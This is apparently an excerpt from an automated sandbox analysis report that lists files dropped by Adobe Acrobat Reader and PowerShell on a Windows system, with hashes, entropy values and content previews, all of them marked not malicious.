SHA1:	54CBAB8F33C82F95E44CAA215B9FC188D48EE9B5
SHA-256:	F6A1A0469F4C15B57AD8856939A89C71EB578F94BD3970103BF22D0BE8BEE217
SHA-512:	B70030CAB9FE2F36869B88E570D9E772E705CF604961987B4A7E0838E82D22930645B4219C1F556D5E8704EEEC6329D5EA608FE7214B10B9DE2623CEC558EAC8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dacba648-40ec-41c5-9806-a1e522809f34","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736723976194,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.278603531727862
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuKhdyp0nZiQ0YReoAvJf+dPeUkwRe9:YvXKXlhS0c8VG28Ukee9
MD5:	D53721ED5A862B5B8C57028D39D7970A
SHA1:	0C1B1E4C1C66118D51A42F6455F1E38A8101E124
SHA-256:	52CB93864A59216AC8A16EF306806A2DA5E8D56D14B4D718C3210BE9831C7D3B
SHA-512:	4484A7BE22166DDCA0FA93E338F128C69EECD6CE0EFE85D0564EB180C2C33CEA6CBD618FC9EBD3938C264DD032296168A0DEA1D374CB57D5B262DBC90CF4BFB6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dacba648-40ec-41c5-9806-a1e522809f34","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736723976194,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.275987591507427
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuKhdyp0nZiQ0YReoAvJfbPtdPeUkwRe9:YvXKXlhS0c8VGDV8Ukee9
MD5:	5BDA734364D30DF57CD0F95AF5FCF415
SHA1:	D9EE9F357994ECA5D5BA52342AC673F0C3713063
SHA-256:	95A1A5F40BCC2D0A6BBB3CE065E55726667B7BB55B9EB1B35CAF616514CC478D
SHA-512:	AE97209E20A9063BB8AB33F0800D7491BD41D0C6CCF970BF4B1E97810F7FF3B73A6AC3445F4988E034D08566B9D98E226668A91DBE09B029AF2111F08D0CB32A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dacba648-40ec-41c5-9806-a1e522809f34","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736723976194,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.279559418436976
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuKhdyp0nZiQ0YReoAvJf21rPeUkwRe9:YvXKXlhS0c8VG+16Ukee9
MD5:	D7F68C80877EBC74166905DF695820F7
SHA1:	3FC0E3465F8B9401D474C50C0536213251BCE57C
SHA-256:	C6D10A09FFF2B6DEC6FD51C5B532E6335762740E6F5A162707F3F6D6A48C6616
SHA-512:	09032D3BAFD9678F5E3C357793F11D0DB71DDBE9A171EA49CEEF02810F53568BB9223CACEB1D5C35D11CF80AEBEF236E1D47188CC3C223886C36B03AA6DC4A0E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dacba648-40ec-41c5-9806-a1e522809f34","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736723976194,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.66242154742611
Encrypted:	false
SSDEEP:	24:Yv6Xo8mamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSa:YvAoBgkDMUJUAh8cvMa
MD5:	176D12BEA49101C5243B48E6726C6A42
SHA1:	3905373A6F2CCDD3F2734B6316549DB5278DA006
SHA-256:	75D03AFFE8B096703C28A234C790E3043C500CFA6FD6734190864BB68B7BE1CF
SHA-512:	98D4BE56EE5B1871F0690CE2B041308CE9770138DD9603B752E318B41BEF261B77B4C036AED42DE407E5213C05540528557C4620472CA764873D5A476E8929A7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dacba648-40ec-41c5-9806-a1e522809f34","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736723976194,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.257163944406068
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuKhdyp0nZiQ0YReoAvJfshHHrPeUkwRe9:YvXKXlhS0c8VGUUUkee9
MD5:	3021328484DA46CEBFD8C926B8138AB2
SHA1:	3C33253B78DC23084B7EB62143F41FDFF5E09158
SHA-256:	F35EC85765CE2AEC4577EBADF18102114B0A07050D12EC983E2C211E3345DD1D
SHA-512:	675896CA508E428E2AC13A3B6254CBE0AB013EE80EBAAD3D51B217C0EA4B2B6B24FB1E2E61C9E4193B7CBC3B04E5853F41E01E7601CFB8A04AD9545FD19519D7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dacba648-40ec-41c5-9806-a1e522809f34","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736723976194,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.261908227715753
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuKhdyp0nZiQ0YReoAvJTqgFCrPeUkwRe9:YvXKXlhS0c8VGTq16Ukee9
MD5:	D66FD5DE006C0C422C837591FA2BEA3F
SHA1:	14BBF683F5387EBC5A5FADCA623C544D1C2472BE
SHA-256:	3E9EC7D0A419B05B201B6EF105556EB78F6846E97A3B8C6D1FDFC2BCD3094AF4
SHA-512:	EE9FBAF36E747EAFCB91B8D6CB6F61CACE025691E50D173DCF9D464CEA86D51686E3123393F3E3358B97C84A29CCB813B3DD74C8DFD970F436F8576BB371E102
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dacba648-40ec-41c5-9806-a1e522809f34","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736723976194,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.137967898602368
Encrypted:	false
SSDEEP:	24:YD3tnaa9aayE9u50eksLtztqR4ZA2gcjZ2Dj0SKS8Sx/2Y2/2LSKMCsNiq18WPCb:YDHl/RoAaZ2Ph/2/RtNiqy4ZE94E5
MD5:	6D7BB31746D610D118E2B89B278D33C6
SHA1:	0C523754EF393F467442E16AE06843C2E9875223
SHA-256:	8788B81324535590F97BF0172A456DA86FE87E1D4598A8AB0119DCF1406AE5E4
SHA-512:	24F1D8FB7151B688CE3449BDF74F973D7CA22636364036733F91E886FCD3CA49498EA8FD03DA4A1D3098D2D14356D73B71B6680A08D84EBA4B6B7945E9E47771
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"89da5617341b847fb396d60fcf3a1c51","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736548400000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"72639c509997077286d385df9c3c4883","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736548400000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"6601b0fe2886d8b8b36ba3ef7adf5e68","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736548400000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"c3116e4242c6d2e802b7283aaf8fa712","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736548400000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"15b1b30ad37551047e04666aa7b3bee1","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":289,"ts":1736548400000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"1224cfc39d37ab346a9e8d037d561aac","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1473278221050651
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursMO0RZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudE:TFl2GL7msOXc+XcGNFlRYIX2v3kf
MD5:	1A9896AF3236292D6ED18DB163DE935E
SHA1:	4B23EEBB9DDAAE7A5A03C669DEC83EC59C0E0354
SHA-256:	DA0C30CD08A891581057FDD88C9C73C4EB94ED9C397F455013B67B60A6A634DA
SHA-512:	FD131BA57D73C20711CE2D2A817F7EF77019F18B3366F0029585A69EDF141F44542D7972624F9A4790464342C9102061D4F9CE9799568C29B6031ECEEDE61112
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5533110712339935
Encrypted:	false
SSDEEP:	24:7+tdO0UXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLux/qLxx/XYT:7M2Xc+XcGNFlRYIX2v6qVl2GL7msy
MD5:	1192BBDD06AA17AF5ACC6F0156E245DA
SHA1:	0D7186C2F1D4C9AD4AA0F074C7213598CD65F554
SHA-256:	55AE5CF27E63B3ABCE3C0E7A6BC7D267DBB63BEC05E4FC059B958C1EE8488222
SHA-512:	C0C914994DC66F59CC6D740AD209FAD0A307F37B4C952A603C156173FCDCD8563E0E97E1AC0034455B4B83CCA3534D2EE8E390092B6460F7B62803EAD454EA01
Malicious:	false
Preview:	.... .c.....z............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgEW8SZBwshL/rMht549svGmM47FIYyu:6a6TZ44ADEEW9BwEbrMhZg4pIK
MD5:	7F90D862EE9270962B4B97F38CABD59B
SHA1:	EDF590E99CAA3F1F84B7B27D898C8F4EE9738C1D
SHA-256:	977B6E46FE4032E4EA30EC915F5D0E96B85CB2569709B4814C54EE234325A528
SHA-512:	238468A15C5E5817326AAA2BC23531D9FC74BCD45051958CB0DF1803F02484CBB5E1F563B84372DEC03779D9A25BCAF45D8F9B6923776895F19FB46F8EF4EB15
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI789f9.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5136057226030957
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE9w:Qw946cPbiOxDlbYnuRK+bD9w
MD5:	F999C46EA42F1503F9AD7F148118C2DE
SHA1:	CDFB03A4E212CEDD8C358397824B450CE9EE29E7
SHA-256:	F18DE5266DC53005761C584DDDD1C8A21C717FCB1FBD42FDCCBCE7ECE7882DFB
SHA-512:	7A7F965F4DC4A9296186AADE090B2D3D373D56E265BA816A3A4616DABC3D61BF6884A09FE0D7F41ADB18F552CCAD8DF39C7CDA6B46CAAA9A6AACCDBFA72A98DF
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.7.:.3.3.:.1.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bjnezffr.v4d.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l2j4i0ze.ibp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 17-33-14-031.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.358763216771487
Encrypted:	false
SSDEEP:	384:QLHOHQ1QLh2O/RCtDF6LrADowa8LzHvGJCCAGOQ7SDJwn18+Zd4doVeMgn1/Mb7b:tfR
MD5:	665207885356BE4281A687525E7010A1
SHA1:	8523F8AAECBB80EC7C6C87F13CD23989A4BA513F
SHA-256:	53FED906CC5EC8A15B1AEE68281EB33431F8A2CF04B50AC3B38B1803E071701E
SHA-512:	2BBFAA6B8A4F01F8A596F153E50274672A45FA559067335808DD7F371388DC084DCDEDB62CE745593CA9262B327A7A36A1FA8C2F957B8581CDDD71CCEBC70CFF
Malicious:	false
Preview:	SessionID=9cc0b964-a707-4989-a654-547f4f058026.1736548394044 Timestamp=2025-01-10T17:33:14:044-0500 ThreadID=7532 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=9cc0b964-a707-4989-a654-547f4f058026.1736548394044 Timestamp=2025-01-10T17:33:14:045-0500 ThreadID=7532 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=9cc0b964-a707-4989-a654-547f4f058026.1736548394044 Timestamp=2025-01-10T17:33:14:045-0500 ThreadID=7532 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=9cc0b964-a707-4989-a654-547f4f058026.1736548394044 Timestamp=2025-01-10T17:33:14:045-0500 ThreadID=7532 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=9cc0b964-a707-4989-a654-547f4f058026.1736548394044 Timestamp=2025-01-10T17:33:14:045-0500 ThreadID=7532 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.396785132679751
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcb36AAs7cd8PtxSH618H68xULs5Z:V3fOCIdJDe5Nji
MD5:	17BC417432D2309182ED89F5F78F3724
SHA1:	DA61A1DD3F55DB394CC4F45E857DB1B2CB49FF2F
SHA-256:	63C2730A2C34EF97FFAB67A70750B2C855D5862510E4CFB594832FEABCB86D26
SHA-512:	0CEC5DB9C7A4B53A3F3262343672BFDC2959F50F9BB2AC09218FDC1936235DE17BC46F74FE46F34E87AA5FF6E2F19EBCB4FEAADF8465A7BCF22E7364FEFB2E4B
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\9cb5013d-9fb0-4def-9c76-5a044641f261.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\bd089031-3b73-4852-8a63-6681c2f50920.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
